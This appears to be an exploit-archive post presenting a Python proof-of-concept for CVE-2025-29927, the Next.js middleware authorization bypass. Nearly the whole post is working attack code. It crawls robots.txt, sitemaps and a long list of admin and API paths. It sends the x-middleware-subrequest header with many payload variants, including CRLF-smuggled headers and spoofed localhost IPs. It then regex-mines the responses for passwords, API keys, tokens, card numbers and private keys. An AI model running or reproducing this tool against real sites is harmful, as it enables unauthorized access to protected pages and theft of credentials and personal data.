📄 Next.js 15.2.3 Middleware Authorization Bypass

=============================================================================================================================================
    | # Title     : Next.js 15.2.3 Middleware Authorization Bypass Vulnerability                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://nextjs.org/                                                                                                         |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212394/ &	CVE-2025-29927
    
    [+] Summary :  This Python script checks whether a website built with Next.js is vulnerable to CVE‑2025‑29927, 
                  a middleware authorization bypass flaw triggered by the request header:x-middleware-subrequest
    
    [+] What the script does:
    
    Attempts to detect the Next.js version automatically.
    
    Determines whether the detected version is potentially vulnerable.
    
    Sends both normal requests and bypass requests (with the special header) to common sensitive endpoints.
    
    Compares responses to identify differences that may indicate bypass or unauthorized access.
    
    [+] Result:
    
    If the response returned with the bypass header differs significantly from the normal request (status code or body), the target may be vulnerable.
    
    In short:
    The script detects and tests for the Next.js middleware bypass vulnerability (CVE‑2025‑29927).
    
    [+]  POC : 
    
    #!/usr/bin/env python3
    """
    
    Usage: python3 poc.py https://target.com
    """
    
    import requests
    import sys
    import json
    import time
    from urllib.parse import urljoin, urlparse
    from concurrent.futures import ThreadPoolExecutor
    import argparse
    import colorama
    from colorama import Fore, Style
    
    colorama.init()
    
    class NextJSBypassPOC:
        def __init__(self, target_url, proxy=None, cookies=None):
            self.target = target_url.rstrip('/')
            self.session = requests.Session()
            self.vulnerable_endpoints = []
            self.found_data = []
            
            if proxy:
                self.session.proxies = {
                    'http': proxy,
                    'https': proxy
                }
            
            if cookies:
                self.session.headers.update({'Cookie': cookies})
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-US,en;q=0.5',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'close',
                'Upgrade-Insecure-Requests': '1'
            })
        
        def print_banner(self):
            banner = f"""
    {Fore.RED}
    ╔══════════════════════════════════════════════════════════════╗
    ║    Next.js Middleware Authentication Bypass PoC              ║
    ║    CVE-2025-29927 - Critical Security Vulnerability          ║
    ╚══════════════════════════════════════════════════════════════╝
    {Style.RESET_ALL}
    Target: {self.target}
    Time: {time.strftime('%Y-%m-%d %H:%M:%S')}
            """
            print(banner)
        
        def test_bypass(self, endpoint, payload="middleware"):
            """اختبار bypass على نقطة نهاية محددة"""
            url = urljoin(self.target, endpoint)
            
            try:
                # Request عادية (يجب أن ترجع 401/403 إذا كانت محمية)
                normal_response = self.session.get(url, timeout=10)
                
                # Request مع header الـ bypass
                bypass_headers = {
                    'x-middleware-subrequest': payload,
                    'x-forwarded-for': '127.0.0.1',
                    'x-real-ip': '127.0.0.1'
                }
                
                bypass_response = self.session.get(
                    url, 
                    headers=bypass_headers, 
                    timeout=10,
                    allow_redirects=False
                )
                
                # تحليل النتائج
                is_vulnerable = self.analyze_responses(
                    normal_response, 
                    bypass_response, 
                    endpoint, 
                    payload
                )
                
                return {
                    'endpoint': endpoint,
                    'url': url,
                    'normal_status': normal_response.status_code,
                    'normal_length': len(normal_response.content),
                    'bypass_status': bypass_response.status_code,
                    'bypass_length': len(bypass_response.content),
                    'payload': payload,
                    'vulnerable': is_vulnerable,
                    'response_sample': bypass_response.text[:500] if is_vulnerable else None
                }
                
            except Exception as e:
                print(f"{Fore.YELLOW}[!] Error testing {endpoint}: {e}{Style.RESET_ALL}")
                return None
        
        def analyze_responses(self, normal, bypass, endpoint, payload):
            """تحليل الفروق بين الردود"""
            
            # حالة 1: الـ bypass يسمح بالوصول إلى صفحة كانت محظورة
            if normal.status_code in [401, 403, 404] and bypass.status_code == 200:
                print(f"{Fore.GREEN}[+] SUCCESS! Bypass worked on {endpoint}")
                print(f"    Normal: {normal.status_code} | Bypass: {bypass.status_code}{Style.RESET_ALL}")
                return True
            
            # حالة 2: تغيير في محتوى الرد
            if bypass.status_code == 200 and normal.status_code == 200:
                if bypass.content != normal.content:
                    print(f"{Fore.CYAN}[+] Content difference on {endpoint}")
                    print(f"    Length difference: {len(bypass.content) - len(normal.content)} bytes{Style.RESET_ALL}")
                    return True
            
            # حالة 3: تغيير في الـ status code
            if normal.status_code != bypass.status_code:
                print(f"{Fore.BLUE}[+] Status code changed on {endpoint}")
                print(f"    {normal.status_code} -> {bypass.status_code}{Style.RESET_ALL}")
                return True
            
            return False
        
        def discover_endpoints(self):
            """اكتشاف نقاط النهاية تلقائياً"""
            endpoints = []
            
            # قائمة نقاط النهاية الشائعة
            common_paths = [
                "/admin", "/admin/login", "/admin/dashboard", "/admin/panel",
                "/api", "/api/auth", "/api/admin", "/api/users", "/api/config",
                "/dashboard", "/profile", "/account", "/settings", "/user",
                "/private", "/internal", "/secure", "/protected",
                "/wp-admin", "/wp-login", "/cpanel", "/control",
                "/_next", "/_next/data", "/_next/static", "/_next/webpack",
                "/api/private", "/api/internal", "/api/secure",
                "/management", "/system", "/config", "/backup",
                "/test", "/debug", "/console", "/shell",
                "/api/v1", "/api/v2", "/api/v3",
                "/api/v1/admin", "/api/v1/user", "/api/v1/config",
                "/graphql", "/graphql/v1", "/graphql/admin",
                "/swagger", "/swagger-ui", "/api-docs",
                "/actuator", "/health", "/metrics", "/info",
                "/phpmyadmin", "/mysql", "/sql", "/db",
                "/vendor", "/storage", "/uploads", "/downloads"
            ]
            
            # اكتشاف من robots.txt
            try:
                robots = self.session.get(urljoin(self.target, "/robots.txt"), timeout=5)
                if robots.status_code == 200:
                    for line in robots.text.split('\n'):
                        if line.startswith('Disallow:'):
                            path = line.split(': ')[1] if ': ' in line else line[9:]
                            if path.strip() and path not in endpoints:
                                endpoints.append(path.strip())
            except:
                pass
            
            # اكتشاف من sitemap.xml
            try:
                sitemap = self.session.get(urljoin(self.target, "/sitemap.xml"), timeout=5)
                if sitemap.status_code == 200:
                    import re
                    urls = re.findall(r'<loc>(.*?)</loc>', sitemap.text)
                    for url in urls:
                        path = urlparse(url).path
                        if path and path not in endpoints:
                            endpoints.append(path)
            except:
                pass
            
            return endpoints + common_paths
        
        def test_payload_variations(self, endpoint):
            """تجربة أنواع مختلفة من payloads"""
            payloads = [
                # Basic bypass
                "middleware",
                "1",
                "true",
                "yes",
                "on",
                "enable",
                
                # Multiple values
                "middleware:middleware",
                "middleware:middleware:middleware",
                "middleware:middleware:middleware:middleware",
                "middleware:middleware:middleware:middleware:middleware",
                
                # With newlines
                "middleware\nx-forwarded-for: 127.0.0.1",
                "middleware\r\nx-forwarded-for: 127.0.0.1",
                
                # Special characters
                "middleware;",
                "middleware%00",
                "middleware%0a",
                "middleware%0d",
                
                # Case variations
                "Middleware",
                "MIDDLEWARE",
                "mIdDlEwArE",
                
                # Other headers
                "x-middleware-subrequest",
                "next-middleware",
                "next-js-middleware"
            ]
            
            results = []
            for payload in payloads:
                result = self.test_bypass(endpoint, payload)
                if result and result['vulnerable']:
                    results.append(result)
                    # حفظ البيانات المكشوفة
                    if result['response_sample']:
                        self.found_data.append({
                            'endpoint': endpoint,
                            'payload': payload,
                            'data': result['response_sample']
                        })
            
            return results
        
        def exploit_sensitive_data(self, vulnerable_endpoints):
            """استخراج البيانات الحساسة من النقاط الضعيفة"""
            sensitive_patterns = [
                (r'password[=:]["\']?(.*?)["\' ]', 'Passwords'),
                (r'api[_-]?key[=:]["\']?(.*?)["\' ]', 'API Keys'),
                (r'token[=:]["\']?(.*?)["\' ]', 'Tokens'),
                (r'secret[=:]["\']?(.*?)["\' ]', 'Secrets'),
                (r'admin[=:]["\']?(.*?)["\' ]', 'Admin Credentials'),
                (r'email[=:]["\']?(.*?)["\' ]', 'Emails'),
                (r'user[=:]["\']?(.*?)["\' ]', 'Usernames'),
                (r'([0-9]{16})[0-9]{3}', 'Credit Cards (Potential)'),
                (r'-----BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY-----', 'Private Keys')
            ]
            
            print(f"\n{Fore.MAGENTA}[*] Scanning for sensitive data...{Style.RESET_ALL}")
            
            for endpoint_info in vulnerable_endpoints:
                if endpoint_info.get('response_sample'):
                    data = endpoint_info['response_sample']
                    for pattern, label in sensitive_patterns:
                        import re
                        matches = re.findall(pattern, data, re.IGNORECASE)
                        if matches:
                            print(f"{Fore.RED}[!] Found {label} in {endpoint_info['endpoint']}{Style.RESET_ALL}")
                            for match in matches[:3]:  # عرض أول 3 نتائج فقط
                                if isinstance(match, tuple):
                                    match = match[0]
                                print(f"    {match[:50]}...")
        
        def run_scan(self, threads=5):
            """تشغيل المسح الكامل"""
            self.print_banner()
            
            print(f"{Fore.CYAN}[*] Discovering endpoints...{Style.RESET_ALL}")
            endpoints = self.discover_endpoints()
            print(f"[*] Found {len(endpoints)} endpoints to test")
            
            print(f"\n{Fore.CYAN}[*] Testing for bypass vulnerability...{Style.RESET_ALL}")
            
            # استخدام threads للمسح السريع
            with ThreadPoolExecutor(max_workers=threads) as executor:
                futures = []
                for endpoint in endpoints:
                    futures.append(executor.submit(self.test_payload_variations, endpoint))
                
                for future in futures:
                    try:
                        results = future.result(timeout=30)
                        if results:
                            self.vulnerable_endpoints.extend(results)
                    except Exception as e:
                        continue
            
            # عرض النتائج
            self.print_results()
            
            # البحث عن بيانات حساسة
            if self.vulnerable_endpoints:
                self.exploit_sensitive_data(self.vulnerable_endpoints)
            
            return self.vulnerable_endpoints
        
        def print_results(self):
            """طباعة النتائج بشكل منظم"""
            print(f"\n{Fore.YELLOW}══════════════════════════════════════════════════════════════{Style.RESET_ALL}")
            print(f"{Fore.CYAN}[*] SCAN COMPLETED{Style.RESET_ALL}")
            print(f"[*] Total vulnerable endpoints: {len(self.vulnerable_endpoints)}")
            
            if self.vulnerable_endpoints:
                print(f"\n{Fore.GREEN}[+] VULNERABLE ENDPOINTS:{Style.RESET_ALL}")
                for i, vuln in enumerate(self.vulnerable_endpoints, 1):
                    print(f"\n{i}. {Fore.GREEN}{vuln['endpoint']}{Style.RESET_ALL}")
                    print(f"   URL: {vuln['url']}")
                    print(f"   Payload: {vuln['payload']}")
                    print(f"   Normal: HTTP {vuln['normal_status']} ({vuln['normal_length']} bytes)")
                    print(f"   Bypass: HTTP {vuln['bypass_status']} ({vuln['bypass_length']} bytes)")
                    
                    if vuln['response_sample']:
                        print(f"   Sample: {vuln['response_sample'][:100]}...")
            else:
                print(f"{Fore.RED}[-] No vulnerable endpoints found{Style.RESET_ALL}")
    
    def main():
        parser = argparse.ArgumentParser(
            description='Next.js CVE-2025-29927 Authentication Bypass PoC'
        )
        parser.add_argument('target', help='Target URL (e.g., https://example.com)')
        parser.add_argument('-t', '--threads', type=int, default=5, 
                           help='Number of threads (default: 5)')
        parser.add_argument('-p', '--proxy', help='Proxy server (e.g., http://127.0.0.1:8080)')
        parser.add_argument('-c', '--cookies', help='Cookies for authenticated session')
        parser.add_argument('-o', '--output', help='Output file for results')
        parser.add_argument('--timeout', type=int, default=10,
                           help='Request timeout in seconds')
        
        args = parser.parse_args()
        
        # إنشاء كائن المسح وتشغيله
        scanner = NextJSBypassPOC(
            target_url=args.target,
            proxy=args.proxy,
            cookies=args.cookies
        )
        
        try:
            results = scanner.run_scan(threads=args.threads)
            
            # حفظ النتائج إذا طلب
            if args.output and results:
                import json
                with open(args.output, 'w') as f:
                    json.dump(results, f, indent=2)
                print(f"\n{Fore.GREEN}[+] Results saved to {args.output}{Style.RESET_ALL}")
                
        except KeyboardInterrupt:
            print(f"\n{Fore.YELLOW}[!] Scan interrupted by user{Style.RESET_ALL}")
            sys.exit(0)
        except Exception as e:
            print(f"{Fore.RED}[!] Error: {e}{Style.RESET_ALL}")
            sys.exit(1)
    
    if __name__ == "__main__":
        if len(sys.argv) < 2:
            print(f"Usage: {sys.argv[0]} <target_url> [options]")
            print("\nExample: python3 poc.py https://vulnerable-site.com -t 10 -o results.json")
            sys.exit(1)
        
        main()
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================